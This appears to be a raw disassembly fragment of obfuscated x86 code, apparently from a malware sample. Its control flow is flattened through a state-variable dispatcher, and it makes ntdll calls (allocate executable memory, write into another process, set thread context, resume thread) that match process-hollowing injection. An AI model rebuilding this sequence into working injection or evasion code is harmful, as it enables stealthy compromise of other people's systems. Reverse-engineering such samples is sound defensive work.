xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xefe93e3d
mov ecx, 0x1e78d457
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000fa6c
mov eax, dword [ebp - 0x140]
mov dword [eax], 0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x16c], 0xea445b87
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x992fcda2
jmp 0x1000fa6c
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x16c], 0xb9b6fb2b
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x7d1140c0
jmp 0x1000fa6c
mov eax, dword [ebp - 0xb4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x140]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x16c], 0x28ba51d0
jmp 0x1000fa6c
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x16c], 0x750571b9
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x574437a
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x134847e3
jmp 0x1000fa6c
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x16c], 0x893a1562
jmp 0x1000fa6c
mov dword [ebp - 0x16c], 0x600c6494
jmp 0x1000fa6c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x16c], 0xf3e3a65
jmp 0x1000fa6c
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x16c], 0xff8ca13
jmp 0x1000fa6c
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x16c], 0x1cc9e18a
jmp 0x1000fa6c
mov eax, dword [ebp - 0x154]
mov edx, dword [eax]
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x40]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x16c], 0x78e36460
jmp 0x10008907